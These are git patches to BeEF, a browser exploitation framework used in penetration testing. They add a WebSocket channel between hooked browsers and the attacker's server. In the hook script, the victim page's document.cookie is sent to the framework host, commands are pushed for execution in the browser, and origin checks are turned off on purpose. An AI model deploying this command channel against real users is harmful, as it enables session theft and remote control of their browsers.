IP/port/enable websocket + #todo antisnatchor: start websocket secure if beef.http.websocket.secure == true + server = WebSocketServer.new :accepted_domains => "0.0.0.0", + :port => config.get("beef.http.websocket.port") - server = WebSocketServer.new(:accepted_domains => "0.0.0.0",:port => 6666) #we get host and port server.run() do |ws| #@TODO debug print the path and who request for hooked browser mapping print_info("Path requested #{ws.path} Origins #{ws.origin}") From a5504a5b1143f32d20e85cb81f0fa4a2b39e24c5 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 7 Apr 2012 12:59:24 +0100 Subject: [PATCH 06/33] Printing nice print_into about the websocket --- core/main/network_stack/websocket/websocket.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index a290f8b66..71019e180 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -20,13 +20,14 @@ module BeEF def initialize - print_info("Starting WebSockets") config = BeEF::Core::Configuration.instance + secure = config.get("beef.http.websocket.secure") + port = config.get("beef.http.websocket.port") #todo antisnatchor: start websocket secure if beef.http.websocket.secure == true server = WebSocketServer.new :accepted_domains => "0.0.0.0", - :port => config.get("beef.http.websocket.port") - + :port => port + print_info("WebSocket server started: port [#{port.to_s}], secure [#{secure.to_s}]") server.run() do |ws| #@TODO debug print the path and who request for hooked browser mapping print_info("Path requested #{ws.path} Origins #{ws.origin}") From e1134e2fa691627645f3b0e138754cc929ee78e2 Mon Sep 17 00:00:00 2001 From: Graziano Felline Date: Sat, 7 Apr 2012 14:01:37 +0200 Subject: [PATCH 07/33] Thread for websocket --- core/main/network_stack/websocket/websocket.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index a290f8b66..a57c22780 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -26,8 +26,8 @@ module BeEF #todo antisnatchor: start websocket secure if beef.http.websocket.secure == true server = WebSocketServer.new :accepted_domains => "0.0.0.0", :port => config.get("beef.http.websocket.port") - - server.run() do |ws| + websThread = Thread.new { + server.run() do |ws| #@TODO debug print the path and who request for hooked browser mapping print_info("Path requested #{ws.path} Origins #{ws.origin}") if ws.path == "/" @@ -45,7 +45,8 @@ module BeEF end end - end + end + } end end end From bcd0ff154f5f8fbf1afff462e5f970c757b89f2a Mon Sep 17 00:00:00 2001 From: Graziano Felline Date: Sat, 7 Apr 2012 14:20:47 +0200 Subject: [PATCH 08/33] Added websocket.js in beefjs.rb --- core/main/client/websocket.js | 2 ++ core/main/handlers/modules/beefjs.rb | 3 +- .../main/network_stack/websocket/websocket.rb | 36 +++++++++---------- 3 files changed, 22 insertions(+), 19 deletions(-) diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 8114364f2..d79648526 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -22,8 +22,10 @@ beef.websocket = { /*websocket send Helo to beef server and start async communication*/ start:function(){ console.log("started ws \n") + /*server is always on ws.beefServer:6666*/ var webSocketServer=beef.net.host; /*beefHost*/ + console.log(webSocketServer); var webSocketPort=6666; if(beef.browser.getBrowserName=="FF") this.socket = new MozWebSocket("ws://"+webSocketServer+":"+webSocketPort+"/"); diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index a43fc5674..ea8c8ac0a 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -29,7 +29,8 @@ module Modules beefjs = '' # @note location of sub files beefjs_path = "#{$root_dir}/core/main/client/" - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js) + #@todo radoen insert ceck for websocket require in config.yalm + js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js) # @note construct the beefjs string from file(s) js_sub_files.each {|js_sub_file_name| diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index a57c22780..4d74f5ad3 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -26,29 +26,29 @@ module BeEF #todo antisnatchor: start websocket secure if beef.http.websocket.secure == true server = WebSocketServer.new :accepted_domains => "0.0.0.0", :port => config.get("beef.http.websocket.port") - websThread = Thread.new { - server.run() do |ws| - #@TODO debug print the path and who request for hooked browser mapping - print_info("Path requested #{ws.path} Origins #{ws.origin}") - if ws.path == "/" - ws.handshake() #accept and connect + websThread = Thread.new { + server.run() do |ws| + #@TODO debug print the path and who request for hooked browser mapping + print_info("Path requested #{ws.path} Origins #{ws.origin}") + if ws.path == "/" + ws.handshake() #accept and connect - while true - #command interpretation - message=ws.receve() + while true + #command interpretation + message=ws.receve() + + if (message!="helo") + #module return value case + else + print_info("Browser #{ws.origin} says helo! ws is running") + end - if (message!="helo") - #module return value case - else - print_info("Browser #{ws.origin} says helo! ws is running") end - end end - end - } + } + end end end end - end - end +end From faae01a9aa798ecea61e0be617cacaf90ebf380a Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 7 Apr 2012 13:34:21 +0100 Subject: [PATCH 09/33] Changed default websocket port --- config.yaml | 6 +-- core/main/client/websocket.js | 2 +- .../main/network_stack/websocket/websocket.rb | 46 ++++++++++--------- 3 files changed, 28 insertions(+), 26 deletions(-) diff --git a/config.yaml b/config.yaml index e94e8ab2e..baca65fa8 100644 --- a/config.yaml +++ b/config.yaml @@ -17,7 +17,7 @@ beef: version: '0.4.3.3-alpha' - debug: true + debug: false restrictions: # subnet of browser ip addresses that can hook to the framework @@ -27,7 +27,7 @@ beef: permitted_ui_subnet: "0.0.0.0/0" http: - debug: true #Thin::Logging.debug, very verbose. Prints also full exception stack trace. + debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace. host: "0.0.0.0" port: "3000" # if running behind a nat set the public ip address here @@ -40,7 +40,7 @@ beef: websocket: enable: true secure: false # use WebSocketSecure - port: 6666 + port: 11989 database: # For information on using other databases please read the diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index d79648526..f6bcd74e7 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -26,7 +26,7 @@ beef.websocket = { /*server is always on ws.beefServer:6666*/ var webSocketServer=beef.net.host; /*beefHost*/ console.log(webSocketServer); - var webSocketPort=6666; + var webSocketPort=11989; if(beef.browser.getBrowserName=="FF") this.socket = new MozWebSocket("ws://"+webSocketServer+":"+webSocketPort+"/"); else diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index a57c22780..a695fa2b2 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -20,35 +20,37 @@ module BeEF def initialize - print_info("Starting WebSockets") config = BeEF::Core::Configuration.instance - + port = config.get("beef.http.websocket.port") + secure = config.get("beef.http.websocket.secure") #todo antisnatchor: start websocket secure if beef.http.websocket.secure == true - server = WebSocketServer.new :accepted_domains => "0.0.0.0", - :port => config.get("beef.http.websocket.port") - websThread = Thread.new { - server.run() do |ws| - #@TODO debug print the path and who request for hooked browser mapping - print_info("Path requested #{ws.path} Origins #{ws.origin}") - if ws.path == "/" - ws.handshake() #accept and connect + server = WebSocketServer.new :accepted_domains => "127.0.0.1", + :port => port + print_info("Started WebSocket server: port [#{port.to_s}], secure [#{secure.to_s}]") - while true - #command interpretation - message=ws.receve() + Thread.new { + server.run() do |ws| + #@TODO debug print the path and who request for hooked browser mapping + print_info("Path requested #{ws.path} Origins #{ws.origin}") + if ws.path == "/" + ws.handshake() #accept and connect + + while true + #command interpretation + message=ws.receve() + + if (message!="helo") + #module return value case + else + print_info("Browser #{ws.origin} says helo! ws is running") + end - if (message!="helo") - #module return value case - else - print_info("Browser #{ws.origin} says helo! ws is running") end - end end - end - } + } + end end end end - end - end +end From 552beb4ccdc89d81fb799d37e8ff01d38fb71ed7 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 7 Apr 2012 13:40:18 +0100 Subject: [PATCH 10/33] changed allowed origins to ALL --- core/main/network_stack/websocket/lib/web_socket.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/core/main/network_stack/websocket/lib/web_socket.rb b/core/main/network_stack/websocket/lib/web_socket.rb index 74bde1967..e2cbcb56c 100644 --- a/core/main/network_stack/websocket/lib/web_socket.rb +++ b/core/main/network_stack/websocket/lib/web_socket.rb @@ -481,9 +481,13 @@ class WebSocketServer return @tcp_server.accept() end + def accepted_origin?(origin) - domain = origin_to_domain(origin) - return @accepted_domains.any?(){ |d| File.fnmatch(d, domain) } + #domain = origin_to_domain(origin) + #return @accepted_domains.any?(){ |d| File.fnmatch(d, domain) } + + #todo antisnatchor -> we want to accept every origin + true end def origin_to_domain(origin) From b08326ebcce28f78dec98932572354d81596055c Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 7 Apr 2012 13:41:58 +0100 Subject: [PATCH 11/33] fixed typo in ws.receive --- core/main/network_stack/websocket/websocket.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index a695fa2b2..66c0c0b90 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -37,7 +37,7 @@ module BeEF while true #command interpretation - message=ws.receve() + message=ws.receive() if (message!="helo") #module return value case From 296d0161c9677e0d515645e353ba3f5058a0f771 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 7 Apr 2012 13:48:10 +0100 Subject: [PATCH 12/33] fixed issue with FF detectionon websockets --- core/main/client/websocket.js | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index f6bcd74e7..1046080b7 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -27,10 +27,11 @@ beef.websocket = { var webSocketServer=beef.net.host; /*beefHost*/ console.log(webSocketServer); var webSocketPort=11989; - if(beef.browser.getBrowserName=="FF") + if(beef.browser.isFF()){ this.socket = new MozWebSocket("ws://"+webSocketServer+":"+webSocketPort+"/"); - else + }else{ this.socket = new WebSocket("ws://"+webSocketServer+":"+webSocketPort+"/"); + } /*so the server is just up we need send helo id @todo insert browser ID where can i get them?*/ this.socket.send("Helo"+"myid00"); From 8f7caff30f8c65647f38a316a04da237eee9de0d Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 7 Apr 2012 14:19:56 +0100 Subject: [PATCH 13/33] changed websocket.js structure with closures. --- core/main/client/websocket.js | 38 +++++++++++++++++++++++------------ 1 file changed, 25 insertions(+), 13 deletions(-) diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 1046080b7..6add86a93 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -19,24 +19,36 @@ beef.websocket = { socket: null, + + init: function(){ + var webSocketServer=beef.net.host; + var webSocketPort=11989; + if(beef.browser.isFF()){ + this.socket = new MozWebSocket("ws://"+webSocketServer+":"+webSocketPort+"/"); + }else{ + this.socket = new WebSocket("ws://"+webSocketServer+":"+webSocketPort+"/"); + } + }, /*websocket send Helo to beef server and start async communication*/ start:function(){ - console.log("started ws \n") + console.log("started ws \n"); - /*server is always on ws.beefServer:6666*/ - var webSocketServer=beef.net.host; /*beefHost*/ - console.log(webSocketServer); - var webSocketPort=11989; - if(beef.browser.isFF()){ - this.socket = new MozWebSocket("ws://"+webSocketServer+":"+webSocketPort+"/"); - }else{ - this.socket = new WebSocket("ws://"+webSocketServer+":"+webSocketPort+"/"); - } + new beef.websocket.init(); /*so the server is just up we need send helo id @todo insert browser ID where can i get them?*/ - this.socket.send("Helo"+"myid00"); - console.log("Connected and Helo"); + this.socket.onopen = function(){ + console.log("Socket has been opened!"); + this.send("Helo"+"myid00"); + console.log("Connected and Helo"); + } + + }, + + send:function(data){ + this.socket.send(data); + console.log("Sent [" + data + "]"); } +}; -} /*end websocket*/ \ No newline at end of file +beef.regCmp('beef.websocket'); \ No newline at end of file From 85b3a594417572f5fc76aec9aa20b212c579f3b5 Mon Sep 17 00:00:00 2001 From: Graziano Felline Date: Sun, 8 Apr 2012 12:46:57 +0200 Subject: [PATCH 14/33] The connection and helo to server correctly work. --- core/main/client/websocket.js | 38 ++++++++++++++++++----------------- 1 file changed, 20 insertions(+), 18 deletions(-) diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 6add86a93..4fce8857f 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -16,37 +16,39 @@ //beef.websocket.socket.send(take answer to server beef) /*New browser init call this */ + beef.websocket = { - socket: null, + socket:null, + + init:function () { + var webSocketServer = beef.net.host; + var webSocketPort = 11989; + //@todo ceck if we have to use wss or ws we need a globalvalue + if (beef.browser.isFF()) { + beef.websocket.socket = new MozWebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/"); + + } else { + beef.websocket.socket = new WebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/"); - init: function(){ - var webSocketServer=beef.net.host; - var webSocketPort=11989; - if(beef.browser.isFF()){ - this.socket = new MozWebSocket("ws://"+webSocketServer+":"+webSocketPort+"/"); - }else{ - this.socket = new WebSocket("ws://"+webSocketServer+":"+webSocketPort+"/"); } + }, /*websocket send Helo to beef server and start async communication*/ - start:function(){ - console.log("started ws \n"); - + start:function () { new beef.websocket.init(); - /*so the server is just up we need send helo id @todo insert browser ID where can i get them?*/ - - this.socket.onopen = function(){ + /*so the server is just up we need send helo id @todo insert browser ID where can i get them?*/ + this.socket.onopen = function () { console.log("Socket has been opened!"); - this.send("Helo"+"myid00"); + beef.websocket.send("helo"); console.log("Connected and Helo"); } }, - send:function(data){ - this.socket.send(data); - console.log("Sent [" + data + "]"); + send:function (data) { + this.socket.send(data); + console.log("Sent [" + data + "]"); } }; From 302512e17259bd546f3b546af7f38662fb1fc963 Mon Sep 17 00:00:00 2001 From: Graziano Felline Date: Sun, 8 Apr 2012 13:21:12 +0200 Subject: [PATCH 15/33] Added FF11 support --- core/main/client/websocket.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 4fce8857f..618e098ea 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -25,7 +25,7 @@ beef.websocket = { var webSocketServer = beef.net.host; var webSocketPort = 11989; //@todo ceck if we have to use wss or ws we need a globalvalue - if (beef.browser.isFF()) { + if (beef.browser.isFF() && ! beef.browser.isFF11) { beef.websocket.socket = new MozWebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/"); } else { From af9b3c97b570c7cf4e3e0b486d0c8b43fdf6e5f7 Mon Sep 17 00:00:00 2001 From: Graziano Felline Date: Wed, 11 Apr 2012 20:52:47 +0200 Subject: [PATCH 16/33] Added polling stop if websocket is up in updater.js added hash for websocket in websocket.rb added check for websocket existence in command.rb and net.js added a POC onmessage function in websocket.js added check for websocket support in init.js added a POC send to send command output to server in beef.js --- config.yaml | 2 +- core/main/client/beef.js | 13 +++++++++--- core/main/client/init.js | 4 ++-- core/main/client/net.js | 8 ++++++- core/main/client/updater.js | 2 ++ core/main/client/websocket.js | 11 ++++++++-- core/main/handlers/modules/command.rb | 11 ++++++++-- .../main/network_stack/websocket/websocket.rb | 21 +++++++++++++++---- 8 files changed, 57 insertions(+), 15 deletions(-) diff --git a/config.yaml b/config.yaml index baca65fa8..aabd0d5e5 100644 --- a/config.yaml +++ b/config.yaml @@ -71,4 +71,4 @@ beef: enable: false console: shell: - enable: false + enable: true diff --git a/core/main/client/beef.js b/core/main/client/beef.js index 5fc41efda..4bbaa8a30 100644 --- a/core/main/client/beef.js +++ b/core/main/client/beef.js @@ -48,9 +48,16 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') { * @param: {Function} the function to execute. */ execute: function(fn) { - this.commands.push(fn); - /*controllare se il websocket รจ attivo*/ - }, + console.log("inside execute socket status "+beef.websocket.socket); + if(beef.websocket.socket == null) + this.commands.push(fn); + else + beef.websocket.send(fn); + /*@todo controllare se il websocket รจ attivo in tal caso + beef.websocket.send(fn) */ + // ; + }, + /** diff --git a/core/main/client/init.js b/core/main/client/init.js index 5591585f7..0ac6ad7f7 100644 --- a/core/main/client/init.js +++ b/core/main/client/init.js @@ -65,8 +65,8 @@ function beef_init() { beef.updater.execute_commands(); beef.updater.check(); beef.logger.start(); - /*@TODO we need a check here*/ - beef.websocket.start(); + if(beef.browser.hasWebSocket()) + beef.websocket.start(); } } diff --git a/core/main/client/net.js b/core/main/client/net.js index b5340d472..28dfdefe4 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -86,8 +86,14 @@ beef.net = { //Queues the current command and flushes the queue straight away send: function(handler, cid, results, callback) { + /*@todo insert ceck websocket up?*/ + console.log("inside SEND socket status "+beef.websocket.socket); + + if (beef.websocket.socket == null){ this.queue(handler, cid, results, callback); - this.flush(); + this.flush(); } + else + beef.websocket.send(results); }, //Flush all currently queued commands to the framework diff --git a/core/main/client/updater.js b/core/main/client/updater.js index e65b82e31..90b796947 100644 --- a/core/main/client/updater.js +++ b/core/main/client/updater.js @@ -57,6 +57,8 @@ beef.updater = { this.get_commands(); /*Polling*/ } } + /*@Todo Simple ceck to stop polling */ + if (beef.websocket.socket == null) setTimeout("beef.updater.check();", beef.updater.timeout); }, diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 618e098ea..e155f5f16 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -28,7 +28,7 @@ beef.websocket = { if (beef.browser.isFF() && ! beef.browser.isFF11) { beef.websocket.socket = new MozWebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/"); - } else { + } else{ beef.websocket.socket = new WebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/"); } @@ -40,9 +40,16 @@ beef.websocket = { /*so the server is just up we need send helo id @todo insert browser ID where can i get them?*/ this.socket.onopen = function () { console.log("Socket has been opened!"); - beef.websocket.send("helo"); + + /*send browser id*/ + beef.websocket.send(document.cookie); console.log("Connected and Helo"); } + this.socket.onmessage = function (message){ + //@todo append the command to head in + console.log("We recive a message "+message.data); + + } }, diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index e2f2a16da..4103056c4 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -48,9 +48,16 @@ module Modules command_module.pre_send build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty? + print_info(BeEF::Core::Websocket::Websocket.getsocket(hooked_browser)) - @body << command_module.output + "\n\n" - + #@todo radoen debug this one + if BeEF::Core::Websocket::Websocket.getsocket(hooked_browser) + + BeEF::Core::Websocket::Websocket.sent(command,hooked_browser) + else + @body << command_module.output + "\n\n" + + end # @note prints the event to the console if BeEF::Settings.console? name = command_module.friendlyname || kclass diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index 66c0c0b90..58f4b6665 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -17,9 +17,13 @@ module BeEF module Core module Websocket class Websocket + #all hooked browser + + @@activeSocket= Hash.new #empty at begin def initialize + print_info("/n In activesocket we have #{@@activeSocket}") config = BeEF::Core::Configuration.instance port = config.get("beef.http.websocket.port") secure = config.get("beef.http.websocket.secure") @@ -39,17 +43,26 @@ module BeEF #command interpretation message=ws.receive() - if (message!="helo") - #module return value case - else + if(/BEEFHOOK=/.match(message)) print_info("Browser #{ws.origin} says helo! ws is running") + #insert new connection in activesocket + @@activeSocket[message.split(/BEEFHOOK=/)] = ws + print_debug("In activesocket we have #{@@activeSocket}") end - end end end } end + #@note used in command.rd return nill if browser is not in list else giveback websocket + def getsocket (browser_id) + @@activeSocket[browser_id] + end + #@note send a function to hooked and ws browser + def sent (fn ,browser_id ) + @@activeSocket[browser_id].send(fn) + end + end end end From 23f782b8d8a7d7ba0fafc4f7e0e2cef7eca9f60c Mon Sep 17 00:00:00 2001 From: Graziano Felline Date: Thu, 12 Apr 2012 19:01:49 +0200 Subject: [PATCH 17/33] Hook.js load websocket.js only if specifield in beef configuration file if websocket is disabled all work normally if websocket is enabled have trouble in command.rb --- beef | 2 +- config.yaml | 4 +- core/main/client/beef.js | 7 +- core/main/client/init.js | 9 +- core/main/client/net.js | 11 +-- core/main/client/updater.js | 6 +- core/main/client/websocket.js | 2 +- core/main/handlers/modules/beefjs.rb | 57 ++++++----- core/main/handlers/modules/command.rb | 94 +++++++++---------- .../main/network_stack/websocket/websocket.rb | 10 +- 10 files changed, 105 insertions(+), 97 deletions(-) diff --git a/beef b/beef index 622e03a27..0c1cc740f 100755 --- a/beef +++ b/beef @@ -114,7 +114,7 @@ print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}" #@note Starts the WebSocket server if config.get("beef.http.websocket.enable") - BeEF::Core::Websocket::Websocket.new + BeEF::Core::Websocket::Websocket.instance end diff --git a/config.yaml b/config.yaml index aabd0d5e5..bd913a9fe 100644 --- a/config.yaml +++ b/config.yaml @@ -38,7 +38,7 @@ beef: hook_session_name: "BEEFHOOK" session_cookie_name: "BEEFSESSION" websocket: - enable: true + enable: false secure: false # use WebSocketSecure port: 11989 @@ -71,4 +71,4 @@ beef: enable: false console: shell: - enable: true + enable: false diff --git a/core/main/client/beef.js b/core/main/client/beef.js index 4bbaa8a30..c0392d5ba 100644 --- a/core/main/client/beef.js +++ b/core/main/client/beef.js @@ -48,14 +48,11 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') { * @param: {Function} the function to execute. */ execute: function(fn) { - console.log("inside execute socket status "+beef.websocket.socket); - if(beef.websocket.socket == null) + if ( typeof beef.websocket == "undefined") this.commands.push(fn); else beef.websocket.send(fn); - /*@todo controllare se il websocket รจ attivo in tal caso - beef.websocket.send(fn) */ - // ; + }, diff --git a/core/main/client/init.js b/core/main/client/init.js index 0ac6ad7f7..978cea92a 100644 --- a/core/main/client/init.js +++ b/core/main/client/init.js @@ -61,12 +61,15 @@ window.onclose = function(event) { function beef_init() { if (!beef.pageIsLoaded) { beef.pageIsLoaded = true; + /*@note we have to load websocket only if browser has websocket and beef server has websocketserver up + * the second check is require for this */ + if(beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') + beef.websocket.start(); + } beef.net.browser_details(); beef.updater.execute_commands(); beef.updater.check(); beef.logger.start(); - if(beef.browser.hasWebSocket()) - beef.websocket.start(); - } + } diff --git a/core/main/client/net.js b/core/main/client/net.js index 28dfdefe4..d72f3f8d8 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -86,14 +86,13 @@ beef.net = { //Queues the current command and flushes the queue straight away send: function(handler, cid, results, callback) { - /*@todo insert ceck websocket up?*/ - console.log("inside SEND socket status "+beef.websocket.socket); - if (beef.websocket.socket == null){ + // if ( typeof beef.websocket == "undefined"){ this.queue(handler, cid, results, callback); - this.flush(); } - else - beef.websocket.send(results); + this.flush(); + //} + // else + // beef.websocket.send(results); }, //Flush all currently queued commands to the framework diff --git a/core/main/client/updater.js b/core/main/client/updater.js index 90b796947..a3cb1e0d7 100644 --- a/core/main/client/updater.js +++ b/core/main/client/updater.js @@ -51,14 +51,14 @@ beef.updater = { beef.net.flush(); if(beef.commands.length > 0) { this.execute_commands(); - } /*here controllare ci sta sto websocket??? nn ha senso fare polling*/ + } else { this.get_commands(); /*Polling*/ } } - /*@Todo Simple ceck to stop polling */ - if (beef.websocket.socket == null) + + //if ( typeof beef.websocket === "undefined") setTimeout("beef.updater.check();", beef.updater.timeout); }, diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index e155f5f16..547809ebc 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -54,7 +54,7 @@ beef.websocket = { }, send:function (data) { - this.socket.send(data); + this.socket.send(data); console.log("Sent [" + data + "]"); } diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index ea8c8ac0a..eed479cd6 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -17,44 +17,49 @@ module BeEF module Core module Handlers module Modules - + # @note Purpose: avoid rewriting several times the same code. module BeEFJS - + # Builds the default beefjs library (all default components of the library). # @param [Object] req_host The request object def build_beefjs!(req_host) - + config = BeEF::Core::Configuration.instance # @note set up values required to construct beefjs - beefjs = '' - # @note location of sub files + beefjs = '' + # @note location of sub files beefjs_path = "#{$root_dir}/core/main/client/" - #@todo radoen insert ceck for websocket require in config.yalm - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js) + # @note we load websocket library only if ws server is enabled in config.yalm + # check in init.js + if config.get("beef.http.websocket.enable") + js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js) + else + js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js) + end # @note construct the beefjs string from file(s) js_sub_files.each {|js_sub_file_name| - js_sub_file_abs_path = beefjs_path + js_sub_file_name - beefjs << (File.read(js_sub_file_abs_path) + "\n\n") + js_sub_file_abs_path = beefjs_path + js_sub_file_name + beefjs << (File.read(js_sub_file_abs_path) + "\n\n") } - + # @note create the config for the hooked browser session - config = BeEF::Core::Configuration.instance + hook_session_name = config.get('beef.http.hook_session_name') hook_session_config = BeEF::Core::Server.instance.to_h # @note if http_host="0.0.0.0" in config ini, use the host requested by client - if hook_session_config['beef_host'].eql? "0.0.0.0" - hook_session_config['beef_host'] = req_host - hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) + if hook_session_config['beef_host'].eql? "0.0.0.0" + hook_session_config['beef_host'] = req_host + hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) end - + # @note populate place holders in the beefjs string and set the response body eruby = Erubis::FastEruby.new(beefjs) @body << eruby.evaluate(hook_session_config) - + end - + # Finds the path to js components # @param [String] component Name of component # @return [String|Boolean] Returns false if path was not found, otherwise returns component path @@ -63,33 +68,33 @@ module Modules component_path.gsub!(/beef./, '') component_path.gsub!(/\./, '/') component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" - + return false if not File.exists? component_path - + component_path end - + # Builds missing beefjs components. # @param [Array] beefjs_components An array of component names def build_missing_beefjs_components(beefjs_components) # @note verifies that @beef_js_cmps is not nil to avoid bugs @beef_js_cmps = '' if @beef_js_cmps.nil? - + if beefjs_components.is_a? String beefjs_components_path = find_beefjs_component_path(beefjs_components) raise "Invalid component: could not build the beefjs file" if not beefjs_components_path - beefjs_components = {beefjs_components => beefjs_components_path} + beefjs_components = {beefjs_components => beefjs_components_path} end beefjs_components.keys.each {|k| next if @beef_js_cmps.include? beefjs_components[k] - + # @note path to the component component_path = beefjs_components[k] - + # @note we output the component to the hooked browser @body << File.read(component_path)+"\n\n" - + # @note finally we add the component to the list of components already generated so it does not get generated numerous times. if @beef_js_cmps.eql? '' @beef_js_cmps = component_path @@ -100,7 +105,7 @@ module Modules end end - + end end end diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index 4103056c4..d8d189914 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -14,64 +14,64 @@ # limitations under the License. # module BeEF -module Core -module Handlers -module Modules + module Core + module Handlers + module Modules - module Command + module Command - # Adds the command module instructions to a hooked browser's http response. - # @param [Object] command Command object - # @param [Object] hooked_browser Hooked Browser object - def add_command_instructions(command, hooked_browser) + # Adds the command module instructions to a hooked browser's http response. + # @param [Object] command Command object + # @param [Object] hooked_browser Hooked Browser object + def add_command_instructions(command, hooked_browser) - (print_error "hooked_browser is nil";return) if hooked_browser.nil? - (print_error "hooked_browser.session is nil";return) if hooked_browser.session.nil? - (print_error "hooked_browser is nil";return) if command.nil? - (print_error "hooked_browser.command_module_id is nil";return) if command.command_module_id.nil? + (print_error "hooked_browser is nil"; return) if hooked_browser.nil? + (print_error "hooked_browser.session is nil"; return) if hooked_browser.session.nil? + (print_error "hooked_browser is nil"; return) if command.nil? + (print_error "hooked_browser.command_module_id is nil"; return) if command.command_module_id.nil? - # @note get the command module - command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id) - (print_error "command_module is nil";return) if command_module.nil? - (print_error "command_module.path is nil";return) if command_module.path.nil? + # @note get the command module + command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id) + (print_error "command_module is nil"; return) if command_module.nil? + (print_error "command_module.path is nil"; return) if command_module.path.nil? - if(command_module.path.match(/^Dynamic/)) - command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new - else - key = BeEF::Module.get_key_by_database_id(command.command_module_id) - command_module = 